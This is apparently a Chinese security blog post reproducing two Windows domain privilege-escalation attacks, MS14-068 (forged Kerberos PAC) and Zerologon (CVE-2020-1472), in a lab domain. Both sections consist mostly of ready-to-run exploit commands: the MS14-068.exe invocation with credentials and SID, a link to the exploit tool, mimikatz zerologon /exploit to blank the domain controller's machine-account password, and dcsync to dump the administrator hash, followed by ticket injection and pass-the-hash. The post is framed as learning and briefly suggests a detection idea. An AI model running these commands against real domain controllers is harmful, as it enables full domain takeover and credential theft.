背景:
Kerberos认证流程中第一阶段的AS-REQ阶段,会协商是否进行PAC验证。PAC认证相关报文包含两个信息:一个是用户sid,一个是用户所在的组。
Windows Kerberos对kerberos tickets中的PAC(Privilege Attribute Certificate)的验证流程中存在安全漏洞,低权限的经过认证的远程攻击者利用该漏洞可以伪造一个PAC并通过Kerberos KDC(Key Distribution Center)的验证,攻击成功使得攻击者可以提升权限,获取域管理权限。
漏洞的补丁号3011780,可以在域控上面查看,如果没有,则存在漏洞。
漏洞利用:
前提:获得了一台域主机的权限,并且获得域用户的用户名,密码,sid。
工具链接:
//ms14-068.exe
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
演示:
第一步:使用mimikatz获取用户信息(也可以使用cmd命令:whoami /all)
验证当前用户是否可以访问域控服务器的目录
第二步:生成TGT票据
这一步经资料查询,大概过程是:先请求一个不需要PAC验证的票据,得到这个票据后,再构造PAC,在其中写入了高权限的组sid,从而得到高权限。
MS14-068.exe -u [email protected] -p lyh123!@# -s S-1-5-21-2952760202-1353902439-2381784089-1111 -d 192.168.52.138
#MS14-068.exe -u 域用户@god.org -p 域用户密码 -s 域用户的SID -d 域控ip
如图,上面是密码错误,下面是成功生成.ccache文
第三步:票据注入
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz
mimikatz
mimikatz
漏洞背景:
2020年8月,微软官方发布了netlogon权限提升漏洞通告。该漏洞主要是由于在使用Netlogon安全通道与域控进行连接时,由于认证协议加密部分的缺陷,导致攻击者可以将域控管理员用户的密码置为空,从而进一步实现密码hash获取并最终获得管理员权限。成功的利用可以实现以管理员权限登录域控设备,并进一步控制整个域。
Netlogon服务,该服务能够与域控制器建立安全连接。此安全连接称为安全通道。
漏洞说明(漏洞背景人话版):
只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为windows,该漏洞的稳定利用方式为重置目标域控(计算机账号)的密码, 接着使用计算机账号的空哈希进行连接域控,导出administrator用户的哈希,然后利用administrator进行Dcsync获取域管权限,后修复域控计算机账号密码。
计算机账号:域内有三种账号,域账号、计算机账号、服务账号,域账号就是普通的用户账号,计算机账号是每一台加入域的计算机都会有的一个账号,其名为计算机名+$,比如这里的域控为计算机名为owa,其机器计算机账号则是:owa$
这里直接使用mimikatz进行演示,impacket后面有时间做实验在更新。
演示:
第一步:查看漏洞是否存在
Lsadump::zerologon /target:192.168.52.138 /account:owa$
Lsadump::zerologon /target:域控IP /account:计算机账号
第二步:将计算机账号的密码置为空
Lsadump::zerologon /target:192.168.52.138 /account:owa$ /exploit
Lsadump::zerologon /target:域控IP /account:计算机账号 /exploit
第三步:导出域管理员的哈希
利用计算机账号访问域控并导出域管理员的哈希
Lsadump::dcsync /domain:god.org /dc:owa /user:administrator /authuser:owa$ /authdomain:god.org /authpassword:”” /authntlm
Lsadump::dcsync /domain:域名 /dc:域控名 /user:需要导出的用户名 /authuser:计算机账号 /authdomain:域名 /authpassword:密码已经被置空 /authntlm
自闭啊,使用哈希传递获取一个域管权限的cmd,直接使用dir命令查看文件并不成功,显示目标账号名称不正确,但是输入whoami则是administrator,去域控看了密码hash也没错,以为是我失败了,查了两个小时资料想到可以直接使用横向试一下。。。就成功了
这个问题要是有师傅知道是为啥,有空时麻烦指导一下~
第五步:最后恢复域控的计算机账号的密码
这个是重点!!!一定要恢复计算机账号的密码,不然会可能导致目标机器脱域或者重启后无法开机的情况。
使用mimikatz直接重置,感觉这个地方可以做个检测,检测我这种菜鸡直接使用默认恢复的,检测到密码是Waza1234的就有问题。
攻击域控的方式,别人给我介绍了几个,但是和我说这两个最有机会,还有通过exchange 导出域哈希的方式,我暂时没有装有exchange server,因此过后再复现学习。
END
本文始发于微信公众号(NOVASEC):MS14-068及CVE-2020-1472复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论